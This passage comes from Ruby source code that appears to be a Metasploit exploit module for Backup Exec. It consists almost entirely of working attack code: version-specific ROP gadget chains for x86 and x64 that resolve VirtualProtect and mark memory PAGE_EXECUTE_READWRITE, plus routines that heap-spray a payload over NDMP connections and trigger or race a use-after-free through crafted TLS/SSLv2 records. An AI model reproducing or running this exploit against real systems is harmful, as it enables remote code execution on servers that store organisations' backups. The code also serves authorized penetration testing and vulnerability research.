0xbe33c3e, # mov rdx, r13; call r12
800
0xbe6b790, # mov r9, rcx; test edx, edx; jns 0xbe6b7a3; xor eax, eax; ret
801
0xbe399d0, # pop r13; ret
802
0,
803
0xbe33c3e, # mov rdx, r13; call r12
804
0xbe2ab32, # pop r8; ret
805
0x40, # PAGE_EXECUTE_READWRITE
806
0xbe01a29, # ret
807
0xbe5180b, # jmp rdi
808
0xbe4e511, # pop r14; pop r13; pop rdi; pop rbp; ret
809
0,
810
0,
811
0,
812
0,
813
0xbe63938 # push rsp; ret
814
]
815
stage_3[3] = stage_3[43] = stage_3.length * 8 + stage_4.length
816
kernel32_dll = "KERNEL32.dll\0".encode('UTF-16LE').force_encoding('ASCII-8BIT')
817
stage_3[17] = stage_3[3] + kernel32_dll.length
818
stage_3 = stage_3.pack('Q<*') + stage_4 + kernel32_dll + "VirtualProtect\0"
819
elsif target.opts['Version'] == 15
820
stage_3 = [
821
0xbe68a34, # push rax; pop rbx; ret
822
0xbe087c8, # pop rax; ret
823
0,
824
0xbe60dc0, # add rax, rcx; ret
825
0xbe9b627, # mov rcx, rax; call r12
826
0xbe4929d, # ret
827
0xbeb488e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]
828
0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
829
0,
830
0,
831
0,
832
0,
833
0xbe34c0c, # push rax; pop rbp; ret
834
0xbefc534, # mov rcx, rbx; call r12
835
0xbe087c8, # pop rax; ret
836
0,
837
0xbe60dc0, # add rax, rcx; ret
838
0xbe9b627, # mov rcx, rax; call r12
839
0xbefc526, # mov rdx, rcx; call r12
840
0xbe9ad68, # mov rcx, rbp; call r12
841
0xbeb4828, # jmp qword ptr [KERNEL32!GetProcAddressStub]
842
0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
843
0,
844
0,
845
0,
846
0,
847
0xbe43269, # push rax; pop rsi; ret
848
0xbefc534, # mov rcx, rbx; call r12
849
0xbebd50e, # pop r13; ret
850
0,
851
0xbe97c4e, # mov rdx, r13; call r12
852
0xbeae99d, # pop r8; ret
853
0x40, # PAGE_EXECUTE_READWRITE
854
0xbe3c9c0, # test rdx, rdx; setne al; ret
855
0xbe68603, # mov r9, rcx; je 0xbe68612; xor eax, eax; ret
856
0xbe4929d, # ret
857
0xbe9436d, # jmp rsi
858
0xbea47f9, # pop r15; pop r14; pop r13; pop rbp; ret
859
0,
860
0,
861
0,
862
0,
863
0xbe2184d, # pop rdi; ret
864
0xbebd50e, # pop r13; ret
865
0xbe9a8ac # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
866
]
867
stage_3[2] = stage_3[29] = stage_3.length * 8 + stage_4.length
868
stage_3[15] = stage_3[2] + "KERNEL32.dll\0".length
869
stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"
870
elsif target.opts['Version'] == 16
871
stage_3 = [
872
0xbe4e888, # push rax; pop rbx; ret
873
0xbe01f72, # pop rax; ret
874
0,
875
0xbe610f0, # add rax, rcx; ret
876
0xbe9c70c, # mov rcx, rax; call r12
877
0xbe01c2c, # ret
878
0xbeb5d8e, # jmp qword ptr [KERNEL32!LoadLibraryAStub]
879
0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
880
0,
881
0,
882
0,
883
0,
884
0xbe12ed0, # pop rdi; ret
885
0xbe45a01, # pop r13; ret
886
0xbeaedb0, # mov rbp, rax; call rdi
887
0xbe5851a, # mov rcx, rbx; call r12
888
0xbe01f72, # pop rax; ret
889
0,
890
0xbe610f0, # add rax, rcx; ret
891
0xbe9c70c, # mov rcx, rax; call r12
892
0xbefe516, # mov rdx, rcx; call r12
893
0xbe9bf28, # mov rcx, rbp; call r12
894
0xbeb5d28, # jmp qword ptr [KERNEL32!GetProcAddressStub]
895
0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
896
0,
897
0,
898
0,
899
0,
900
0xbe433b9, # push rax; pop rsi; ret
901
0xbe5851a, # mov rcx, rbx; call r12
902
0xbe45a01, # pop r13; ret
903
0,
904
0xbe2e55e, # mov rdx, r13; call r12
905
0xbe27c76, # pop r8; ret
906
0x40, # PAGE_EXECUTE_READWRITE
907
0xbe3caf0, # test rdx, rdx; setne al; ret
908
0xbe68c73, # mov r9, rcx; je 0xbe68c82; xor eax, eax; ret
909
0xbe01c2c, # ret
910
0xbe56cad, # jmp rsi
911
0xbea5b39, # pop r15; pop r14; pop r13; pop rbp; ret
912
0,
913
0,
914
0,
915
0,
916
0xbe12ed0, # pop rdi; ret
917
0xbe45a01, # pop r13; ret
918
0xbe9ba6c # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
919
]
920
stage_3[2] = stage_3[31] = stage_3.length * 8 + stage_4.length
921
stage_3[17] = stage_3[2] + "KERNEL32.dll\0".length
922
stage_3 = stage_3.pack('Q<*') + stage_4 + "KERNEL32.dll\0VirtualProtect\0"
923
end
924
else
925
if target.opts['Version'] == 14
926
stage_3 = [
927
0x63117dfa, # pop edi; ret
928
0x63101514, # ret
929
0x63116cc9, # pop esi; ret
930
0x6313ba14, # jmp dword ptr [KERNEL32!LoadLibraryAStub]
931
0x631017ff, # pop ebp; ret
932
0x631213e6, # add esp, 0x20; ret
933
0x63137a3c, # pushal; ret
934
'KERN'.unpack('L<')[0],
935
'EL32'.unpack('L<')[0],
936
'.dll'.unpack('L<')[0],
937
0,
938
0x63117dfa, # pop edi; ret
939
0x6311de4c, # pop edi; pop ebp; ret
940
0x6311b614, # push eax; call edi
941
0x63117dfa, # pop edi; ret
942
0x6313b9ae, # jmp dword ptr [KERNEL32!GetProcAddressStub]
943
0x63116cc9, # pop esi; ret
944
0x631213e6, # add esp, 0x20; ret
945
0x63137a3c, # pushal; ret
946
'Virt'.unpack('L<')[0],
947
'ualP'.unpack('L<')[0],
948
'rote'.unpack('L<')[0],
949
"ct\0\0".unpack('L<')[0],
950
0x6314de45, # xchg eax, edi; ret
951
0x6311db46, # push esp; pop esi; ret
952
0x6311a398, # xchg eax, esi; ret
953
0x63116cc9, # pop esi; ret
954
0x6311f902, # pop ebx; pop ecx; ret
955
0x63123d89, # push eax; call esi
956
0x6316744a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
957
0x63101514, # ret
958
0,
959
0x631309f4, # pop edx; or al, 0xf6; ret
960
0x40, # PAGE_EXECUTE_READWRITE
961
0x63117dfa, # pop edi; ret
962
0x63101514, # ret
963
0x6310185a, # pop eax; ret
964
0x63139ec5, # push esp; ret
965
0x63137a3c # pushal; ret
966
]
967
stage_3[31] = stage_4.length + 4
968
elsif target.opts['Version'] == 15
969
stage_3 = [
970
0x6311e378, # pop edi; ret
971
0x63101564, # ret
972
0x631289b9, # pop esi; ret
973
0x6319e296, # jmp dword ptr [KERNEL32!LoadLibraryA]
974
0x6310184f, # pop ebp; ret
975
0x6313937d, # add esp, 0x20; ret
976
0x6311c618, # pushal; ret
977
'KERN'.unpack('L<')[0],
978
'EL32'.unpack('L<')[0],
979
'.dll'.unpack('L<')[0],
980
0,
981
0x63198d07, # xchg eax, ebp; mov edi, 0xc483fff9; or al, 0x5e; ret
982
0x6311e378, # pop edi; ret
983
0x6319e23c, # jmp dword ptr [KERNEL32!GetProcessAddress]
984
0x631289b9, # pop esi; ret
985
0x6313937d, # add esp, 0x20; ret
986
0x6311c618, # pushal; ret
987
'Virt'.unpack('L<')[0],
988
'ualP'.unpack('L<')[0],
989
'rote'.unpack('L<')[0],
990
"ct\0\0".unpack('L<')[0],
991
0x631289b9, # pop esi; ret
992
0x631018aa, # pop eax; ret
993
0x63198446, # mov edi, eax; call esi
994
0x63137496, # push esp; pop esi; ret
995
0x6312c068, # xchg eax, esi; ret
996
0x631289b9, # pop esi; ret
997
0x6315c407, # pop ebx; pop ecx; ret
998
0x63189809, # push eax; call esi
999
0x631d7cca, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
1000
0x63101564, # ret
1001
0,
1002
0x63156a54, # pop edx; or al, 0xf6; ret
1003
0x40, # PAGE_EXECUTE_READWRITE
1004
0x6311e378, # pop edi; ret
1005
0x63101564, # ret
1006
0x631018aa, # pop eax; ret
1007
0x6311c638, # push esp; ret
1008
0x6311c618 # pushal; ret
1009
]
1010
stage_3[31] = stage_4.length + 4
1011
elsif target.opts['Version'] == 16
1012
stage_3 = [
1013
0x6311e3c0, # pop edi; ret
1014
0x63101564, # ret
1015
0x63128a39, # pop esi; ret
1016
0x6319f27c, # jmp dword ptr [KERNEL32!LoadLibraryAStub]
1017
0x6310184f, # pop ebp; ret
1018
0x631394ad, # add esp, 0x20; ret
1019
0x6311c69c, # pushal; ret
1020
'KERN'.unpack('L<')[0],
1021
'EL32'.unpack('L<')[0],
1022
'.dll'.unpack('L<')[0],
1023
0,
1024
0x6311e3c0, # pop edi; ret
1025
0x631018aa, # pop eax; ret
1026
0x6319959f, # mov ebp, eax; call edi
1027
0x6311e3c0, # pop edi; ret
1028
0x6319f21c, # jmp dword ptr [KERNEL32!GetProcessAddressStub]
1029
0x63128a39, # pop esi; ret
1030
0x631394ad, # add esp, 0x20; ret
1031
0x6311c69c, # pushal; ret
1032
'Virt'.unpack('L<')[0],
1033
'ualP'.unpack('L<')[0],
1034
'rote'.unpack('L<')[0],
1035
"ct\0\0".unpack('L<')[0],
1036
0x63128a39, # pop esi; ret
1037
0x631018aa, # pop eax; ret
1038
0x631993e6, # mov edi, eax; call esi
1039
0x631375e6, # push esp; pop esi; ret
1040
0x6312c0e8, # xchg eax, esi; ret
1041
0x63128a39, # pop esi; ret
1042
0x63133031, # pop ebx; pop ecx; ret
1043
0x6314a34a, # push eax; call esi
1044
0x631d830a, # push edi; sbb al, 0x5f; pop esi; pop ebp; pop ebx; ret
1045
0x63101564, # ret
1046
0,
1047
0x63157084, # pop edx; or al, 0xf6; ret
1048
0x40, # PAGE_EXECUTE_READWRITE
1049
0x6311e3c0, # pop edi; ret
1050
0x63101564, # ret
1051
0x631018aa, # pop eax; ret
1052
0x63134eb6, # push esp; ret
1053
0x6311c69c # pushal; ret
1054
]
1055
stage_3[33] = stage_4.length + 4
1056
end
1057
stage_3 = stage_3.pack('L<*') + stage_4
1058
end
1059
1060
if target.opts['Arch'] == ARCH_X64
1061
if target.opts['Version'] == 14
1062
stage_2 = [
1063
0xbe40d1d, # pop r12; pop rsi; ret
1064
0xbe1bca3, # pop r12; pop rbx; ret
1065
0xbe399d0, # pop r13; ret
1066
0xbe29954, # push rsp; and al, 0x70; mov rcx, rax; call r12
1067
0xbe501a7, # mov rcx, rbx; call rsi
1068
0xbe01f72, # pop rax; ret
1069
0,
1070
0xbe3d250, # add rax, rcx; ret
1071
0xbe37f75, # push rax; pop rdi; ret
1072
0xbe4f52c, # mov rax, qword ptr gs:[0x30]; ret
1073
0xbe24263, # mov rax, qword ptr [rax + 8]; ret
1074
0xbe1b055, # pop rbx; ret
1075
0xfffffffffffff000,
1076
0xbe501a7, # mov rcx, rbx; call rsi
1077
0xbe3d250, # add rax, rcx; ret
1078
0xbe1c2f9, # pop r12; ret
1079
0xbe2ab32, # pop r8; ret
1080
0xbe2987c, # mov rcx, rax; call r12
1081
0xbe1b055, # pop rbx; ret
1082
0xbe2ab32, # pop r8; ret
1083
0xbe45935, # mov rdx, rdi; call rbx
1084
0xbe01a29, # ret
1085
0xbe2ab32, # pop r8; ret
1086
0,
1087
0xbe4fa46, # jmp qword ptr [MSVCR100!memcpy]
1088
0xbe2987c, # mov rcx, rax; call r12
1089
0xbe1cfc0 # mov rsp, r11; pop r12; ret (note need for extra ret at start of stage 3)
1090
]
1091
elsif target.opts['Version'] == 15
1092
stage_2 = [
1093
0xbe1e18e, # pop r12; pop rdi; ret
1094
0xbebd50e, # pop r13; ret
1095
0xbebc3fd, # pop r14; pop rbp; ret
1096
0xbe9a8ac, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
1097
0xbe9ad68, # mov rcx, rbp; call r12
1098
0xbe087c8, # pop rax; ret
1099
0,
1100
0xbe60dc0, # add rax, rcx; ret
1101
0xbe43269, # push rax; pop rsi; ret
1102
0xbebd24c, # mov rax, qword ptr gs:[0x30]; ret
1103
0xbe3b0b3, # mov rax, qword ptr [rax + 8]; ret
1104
0xbe1d923, # pop r12; pop rbx; ret
1105
0xfffffffffffff000,
1106
0xbe27c76, # pop r8; ret
1107
0xbe45511, # mov rcx, r12; call rbx
1108
0xbe60dc0, # add rax, rcx; ret
1109
0xbe1df29, # pop r12; ret
1110
0xbe27c76, # pop r8; ret
1111
0xbe9b54c, # mov rcx, rax; call r12
1112
0xbe01f72, # pop rax; ret
1113
0xbe27c76, # pop r8; ret
1114
0xbe4164c, # mov rdx, rsi; call rax
1115
0xbeae99d, # pop r8; ret
1116
0,
1117
0xbebda22, # jmp qword ptr [MSVCR100!memcpy]
1118
0xbe9b627, # mov rcx, rax; call r12
1119
0xbeeb621 # push rcx; pop rsp; ret
1120
]
1121
elsif target.opts['Version'] == 16
1122
stage_2 = [
1123
0xbe1e18e, # pop r12; pop rdi; ret
1124
0xbe45a01, # pop r13; ret
1125
0xbe2a433, # pop r14; pop rbp; ret
1126
0xbe9ba6c, # push rsp; and al, 0x20; mov r8d, ebx; mov rcx, rsi; call rdi
1127
0xbe9bf28, # mov rcx, rbp; call r12
1128
0xbe01f72, # pop rax; ret
1129
0,
1130
0xbe610f0, # add rax, rcx; ret
1131
0xbe433b9, # push rax; pop rsi; ret
1132
0xbebe74c, # mov rax, qword ptr gs:[0x30]; ret
1133
0xbe3b1e3, # mov rax, qword ptr [rax + 8]; ret
1134
0xbe1d923, # pop r12; pop rbx; ret
1135
0xfffffffffffff000,
1136
0xbe27c76, # pop r8; ret
1137
0xbe45681, # mov rcx, r12; call rbx
1138
0xbe610f0, # add rax, rcx; ret
1139
0xbe1df29, # pop r12; ret
1140
0xbe27c76, # pop r8; ret
1141
0xbe9c70c, # mov rcx, rax; call r12
1142
0xbe01f72, # pop rax; ret
1143
0xbe27c76, # pop r8; ret
1144
0xbe4179c, # mov rdx, rsi; call rax
1145
0xbe27c76, # pop r8; ret
1146
0,
1147
0xbebef22, # jmp qword ptr [MSVCR100!memcpy]
1148
0xbe9c70c, # mov rcx, rax; call r12
1149
0xbeed611 # push rcx; pop rsp; ret
1150
]
1151
end
1152
stage_2[6] = (stage_2.length - 4) * 8
1153
stage_2[23] = stage_3.length
1154
stage_2 = stage_2.pack('Q<*') + stage_3
1155
else
1156
if target.opts['Version'] == 14
1157
stage_2 = [
1158
0x63143720, # mov eax, dword ptr fs:[0x18]; ret
1159
0x6311efa4, # mov eax, dword ptr [eax + 4]; ret
1160
0x63129b75, # pop edi; pop ecx; ret
1161
0xfffffff0,
1162
0x100000000 - 0x2000,
1163
0x63122eea, # and eax, edi; pop edi; pop esi; add esp, 0xc; ret
1164
0x63129b75, # pop edi; pop ecx; ret
1165
0x6310185a, # pop eax; ret
1166
0,
1167
0,
1168
0,
1169
0x63133912, # add eax, ecx; ret
1170
0x63152ded, # mov ebx, eax; call esi
1171
0x631309f4, # pop edx; or al, 0xf6; ret
1172
0x6314cfa1, # xchg eax, esp; ret
1173
0x6311db46, # push esp; pop esi; ret
1174
0x6310185a, # pop eax; ret
1175
0x6310185a, # pop eax; ret
1176
0x631171d2, # mov ecx, esi; call eax
1177
0x6310185a, # pop eax; ret
1178
0,
1179
0x63133912, # add eax, ecx; ret
1180
0x631257f4, # push ebx; call edi
1181
0x631546eb, # pop edi; ret
1182
0x631543cb, # pop ebp; pop esi; pop edi; ret
1183
0x63116faf, # pop ebx; ret
1184
0x63143aec, # jmp dword ptr [MSVCR100!memcpy]
1185
0x6315dde0, # cld; ret
1186
0x63137a3c, # pushal; ret
1187
0
1188
]
1189
stage_2[20] = (stage_2.length - 16) * 4
1190
stage_2[29] = stage_3.length
1191
elsif target.opts['Version'] == 15
1192
stage_2 = [
1193
0x631a6220, # mov eax, dword ptr fs:[0x18]; ret
1194
0x6312e404, # mov eax, dword ptr [eax + 4]; ret
1195
0x6313031d, # pop ebp; pop ecx; ret
1196
0x100000000 - 0x2000,
1197
0xfffffff0,
1198
0x6316c73a, # and eax, ecx; pop esi; ret
1199
0x6315c407, # pop ebx; pop ecx; ret
1200
0x63192b17, # add eax, ebp; ret
1201
0x63189809, # push eax; call esi
1202
0x63156a54, # pop edx; or al, 0xf6; ret
1203
0x6312c933, # xchg eax, esp; ret
1204
0x63137496, # push esp; pop esi; ret
1205
0x6314172a, # pop eax; ret
1206
0,
1207
0x6317e87d, # add eax, esi; pop edi; pop esi; pop ebx; ret
1208
0x63156dd8, # pop edi; pop ebp; pop esi; ret
1209
0,
1210
0,
1211
0x631729cd, # pop ebx; ret
1212
0x631a65ec, # jmp dword ptr [MSVCR100!memcpy]
1213
0x6311e250, # cld; ret
1214
0x6311c618, # pushal; ret
1215
0
1216
]
1217
stage_2[13] = (stage_2.length - 12) * 4
1218
stage_2[22] = stage_3.length
1219
elsif target.opts['Version'] == 16
1220
stage_2 = [
1221
0x631a7200, # mov eax, dword ptr fs:[0x18]; ret
1222
0x6312e4a4, # mov eax, dword ptr [eax + 4]; ret
1223
0x63128afc, # pop ecx; ret
1224
0xfffffff0,
1225
0x6316d13a, # and eax, ecx; pop esi; ret
1226
0x63133031, # pop ebx; pop ecx; ret
1227
0x63128afc, # pop ecx; ret
1228
0x100000000 - 0x2000,
1229
0x63142860, # add eax, ecx; ret
1230
0x6314a34a, # push eax; call esi
1231
0x63157084, # pop edx; or al, 0xf6; ret
1232
0x6311c6c0, # xchg eax, esp; ret
1233
0x631375e6, # push esp; pop esi; ret
1234
0x631018aa, # pop eax; ret
1235
0,
1236
0x63135f56, # add eax, esi; add eax, ecx; pop esi; ret
1237
0,
1238
0x63157408, # pop edi; pop ebp; pop esi; ret
1239
0x63157408, # pop edi; pop ebp; pop esi; ret
1240
0,
1241
0,
1242
0x63181046, # sub eax, ecx; pop ebx; ret
1243
0x631a75cc, # jmp dword ptr [MSVCR100!memcpy]
1244
0x6311e298, # cld; ret
1245
0x6311c69c, # pushal; ret
1246
0
1247
]
1248
stage_2[14] = (stage_2.length - 13) * 4
1249
stage_2[25] = stage_3.length
1250
end
1251
stage_2 = stage_2.pack('L<*') + stage_3
1252
end
1253
1254
stage_2 + rand_text(stage_2.length & 1)
1255
end
1256
1257
#
1258
# Attempt to overwrite the freed BIO struct with stage 1 and trigger the use-after-free.
1259
#
1260
def attempt_triggers(s, spray_socks, spray_msg)
1261
datastore['NumTriggerAttempts'].times do |x|
1262
print_status('Spraying stage 1...')
1263
(1..2).each do |phase|
1264
spray_socks.each do |ss|
1265
if phase == 1
1266
return false unless ss.prepare_and_write_ndmp_msg(spray_msg, false, 50)
1267
return true if @payload_connected || session_created?
1268
else
1269
50.times do
1270
return false unless ss.read_ndmp_msg(spray_msg.header.type)
1271
return true if @payload_connected || session_created?
1272
end
1273
end
1274
end
1275
end
1276
sleep(1)
1277
return true if @payload_connected || session_created?
1278
1279
# Send a certain amount of data per trigger attempt so that stage 1 will always end
1280
# up jumping into the TLS/SSLv2 record at an expected location. The general idea is
1281
# that the first write will complete Backup Exec's first recv operation, the second
1282
# fills the buffer back up to an 8/4-byte aligned position, and the rest moves
1283
# through the retsled
1284
print_status("Triggering UAF, attempt #{x + 1}/#{datastore['NumTriggerAttempts']}...")
1285
trigger = if target.opts['Version'] == 14
1286
if x == 0
1287
# A maximum of 5 bytes are always read at first, so just send them all at once
1288
"\x16\x03\x01\x10\x00"
1289
elsif x == 1
1290
# Skip over TLS header structure
1291
rand_text((target.opts['Arch'] == ARCH_X64 ? 0x18 : 0x10) - 5)
1292
else
1293
# Skip over a ROP NOP
1294
rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)
1295
end
1296
else
1297
if x == 0
1298
# A maximum of 11 bytes are always read at first, so just send them all at once
1299
"\x90\x00\x01\x03\x03" + rand_text(11 - 5)
1300
elsif x == 1
1301
# Skip over SSLv2 header structure
1302
rand_text((target.opts['Arch'] == ARCH_X64 ? 0x20 : 0x10) - 11)
1303
else
1304
# Skip over a ROP NOP
1305
rand_text(target.opts['Arch'] == ARCH_X64 ? 8 : 4)
1306
end
1307
end
1308
return false unless s.raw_sendall(trigger, 0)
1309
sleep(1)
1310
return true if @payload_connected || session_created?
1311
end
1312
1313
nil
1314
end
1315
1316
#
1317
# Attempt to overwrite the freed BIO struct with stage 1 and implicitly trigger the
1318
# use-after-free in a race.
1319
#
1320
# For non-Windows 8+ targets, we need to race Backup Exec after the BIO struct is freed.
1321
# This is because these versions of Windows overwrite the start of freed objects on the
1322
# heap with the next offset in the freelist. We need to then overwrite this with our
1323
# stage 1 spray otherwise Backup Exec will crash upon attempting to call the BIO
1324
# struct's read callback upon re-entering SSL mode. This is less successful than the
1325
# Windows 8+ case (which doesn't use a freelist, instead using a free bitmap), but it
1326
# still works OK.
1327
#
1328
def attempt_race(s, spray_socks, spray_msg, ca_cert_id)
1329
print_status('Spraying stage 1 while racing re-entering SSL mode on main socket...')
1330
do_simple_ssl_request(s, SSLRequest::Opcode.start_ssl, ca_cert_id) do |is_pre|
1331
unless is_pre
1332
200.times do
1333
spray_socks.each do |ss|
1334
ss.prepare_and_write_ndmp_msg(spray_msg, 200)
1335
return true if @payload_connected || session_created?
1336
end
1337
end
1338
end
1339
end
1340
sleep(1)
1341
1342
@payload_connected || session_created?
1343
end
1344
end
1345
1346